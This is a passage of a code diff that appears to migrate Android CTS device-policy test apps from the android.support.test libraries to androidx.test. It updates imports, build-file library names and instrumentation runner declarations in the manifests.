@@ -18,10 +18,11 @@
import android.app.Instrumentation;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+
/**
* Base class for device-owner based tests.
*
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
index 1b8a2fa..99b97bd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -25,13 +25,14 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
-import org.junit.Before;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
index 59c4ff5..6cfec10 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
@@ -26,9 +26,9 @@
import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertTrue;
-import static org.testng.Assert.assertThrows;
import static org.junit.Assert.assertArrayEquals;
+import static org.testng.Assert.assertThrows;
import android.app.ActivityManager;
import android.app.ActivityOptions;
@@ -39,10 +39,11 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index e727d56..a7a08e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -22,10 +22,11 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.support.test.InstrumentationRegistry;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import android.util.Log;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+import androidx.test.InstrumentationRegistry;
+
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
index 5f537a3..191c1bd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
@@ -65,7 +65,8 @@
import android.security.keystore.KeyGenParameterSpec;
import android.security.keystore.KeyProperties;
import android.security.keystore.KeyProtection;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.ImmutableSet;
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 60395c2..5d7010d 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -28,7 +28,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner
+ ctstestrunner-axt
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index 84c5de6..22614fe 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -71,7 +71,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.intent.receiver"
android:label="Intent Receiver CTS Tests" />
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
index 0d2a990..e132a25 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
@@ -21,8 +21,9 @@
import android.content.Context;
import android.content.SharedPreferences;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index 5cc3b7a..196e192 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -29,7 +29,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_STATIC_ANDROID_LIBRARIES := \
diff --git a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
index 6562b29..59f9a9c 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
@@ -52,7 +52,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.intent.sender"
android:label="Intent Sender CTS Tests" />
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 0475e30..131aee1 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -28,9 +28,9 @@
LOCAL_STATIC_JAVA_LIBRARIES = \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
- android-support-test \
- compatibility-device-util \
+ ctstestrunner-axt \
+ androidx.test.rules \
+ compatibility-device-util-axt \
ShortcutManagerTestUtils \
testng
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml b/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
index abf4c52..cc87b4f 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/LauncherTests/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.launchertests"
android:label="Launcher Apps CTS Tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index e8a1291..afb97f9 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -35,9 +35,10 @@
import android.os.Messenger;
import android.os.UserHandle;
import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+
import java.util.List;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
index 0349594..9e5f05d 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
@@ -30,11 +30,12 @@
import android.os.Bundle;
import android.os.UserHandle;
import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.text.TextUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import org.junit.After;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index 6a02fd1..5e4a575 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -29,10 +29,10 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES = \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
ub-uiautomator \
- android-support-test \
+ androidx.test.rules \
guava
LOCAL_STATIC_ANDROID_LIBRARIES := \
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 58e232b..76e872f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -200,7 +200,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.managedprofile"
android:label="Managed Profile CTS Tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
index a21d9e6..91f2046 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ManagedProfileTest.java
@@ -15,15 +15,16 @@
*/
package com.android.cts.managedprofile;
+import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
import android.test.ActivityInstrumentationTestCase2;
-import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+import androidx.test.InstrumentationRegistry;
/**
* Test for {@link DevicePolicyManager#addCrossProfileIntentFilter} API.
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
index 6986c39..ea06ef9 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
@@ -18,10 +18,6 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.UiAutomation;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -29,12 +25,13 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
import android.support.test.uiautomator.UiDevice;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import android.util.Log;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java
index 4163ba8..0a7e7f9 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserTest.java
@@ -20,7 +20,8 @@
import android.content.Intent;
import android.content.pm.PackageManager;
import android.test.ActivityInstrumentationTestCase2;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
/**
* Test for {@link DevicePolicyManager#addCrossProfileIntentFilter} API, for
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
index 23de823..8cf156b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
@@ -21,6 +21,7 @@
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
@@ -35,11 +36,13 @@
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.PersistableBundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
index 683d465..6a8b87a 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/SanityTest.java
@@ -15,19 +15,20 @@
*/
package com.android.cts.managedprofile;
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import org.junit.Before;
import org.junit.Test;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNotNull;
-
/**
* Basic sanity test to ensure some basic functionalities of work profile are working.
*/
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
index 3b35cb4..077fbd3 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
@@ -1,12 +1,13 @@
package com.android.cts.managedprofile;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObjectNotFoundException;
import android.support.test.uiautomator.Until;
import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+
/**
* Test wipeDataWithReason() has indeed shown the notification.
* The function wipeDataWithReason() is called and executed in another test.
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index a1514ff..1d4f8ae 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -28,7 +28,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
index 4b69ba6..f4dfcaf 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
@@ -38,7 +38,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.packageinstaller"
android:label="Package Installer CTS Tests" />
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index dd76558..e4b4171 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -32,8 +32,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
ub-uiautomator
# tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
index 26efd97..a494ed6 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
@@ -36,7 +36,7 @@
</receiver>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.profileowner"
android:label="Profile Owner CTS tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 533e925..2597a64 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -18,7 +18,8 @@
import android.app.PendingIntent;
import android.app.usage.UsageStatsManager;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import java.util.concurrent.TimeUnit;
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
index 4cdbeee..5d9c1fc 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -28,10 +28,10 @@
LOCAL_STATIC_JAVA_LIBRARIES = \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
ub-uiautomator \
- android-support-test
+ androidx.test.rules
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
index 6ae1eb4..daf7862 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -36,7 +36,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.devicepolicy.singleadmin"
android:label="Managed Profile CTS Tests (Single admin receiver)"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
index 2828b3d..c090d50 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
@@ -25,8 +25,9 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
index 8f39155..62467af 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
@@ -28,10 +28,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
ub-uiautomator \
- android-support-test \
+ androidx.test.rules \
testng
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
index b721292..c7e9a02 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
@@ -45,7 +45,7 @@
</receiver>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.transferownerincoming"
android:label="Transfer Owner CTS tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
index 7a598d9..952aebc 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
@@ -25,8 +25,9 @@
import android.content.Context;
import android.content.SharedPreferences;
import android.os.PersistableBundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index b33da04..f39dbbe 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -21,7 +21,8 @@
import static org.testng.Assert.assertThrows;
import android.app.admin.SystemUpdatePolicy;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
index ef7e8ac..0fadc10 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
@@ -20,7 +20,8 @@
import static org.junit.Assert.assertEquals;
import android.app.admin.DevicePolicyManager;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
index aeacb40..c046da2 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
@@ -28,10 +28,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
ub-uiautomator \
- android-support-test \
+ androidx.test.rules \
testng
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
index 59feeb3..e1a6dbb 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
@@ -36,7 +36,7 @@
</receiver>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.transferowneroutgoing"
android:label="Transfer Owner CTS tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
index d0073e1..6aedd1b 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
@@ -16,10 +16,8 @@
package com.android.cts.transferowner;
import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertTrue;
import static org.junit.Assert.assertEquals;
-import static org.testng.Assert.assertFalse;
import static org.testng.Assert.assertNull;
import static org.testng.Assert.assertThrows;
@@ -32,7 +30,8 @@
import android.os.PersistableBundle;
import android.os.UserHandle;
import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index 9e0cd93..b42b2bd 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -23,7 +23,8 @@
import android.app.admin.DevicePolicyManager;
import android.app.admin.SystemUpdatePolicy;
import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
import org.junit.Test;
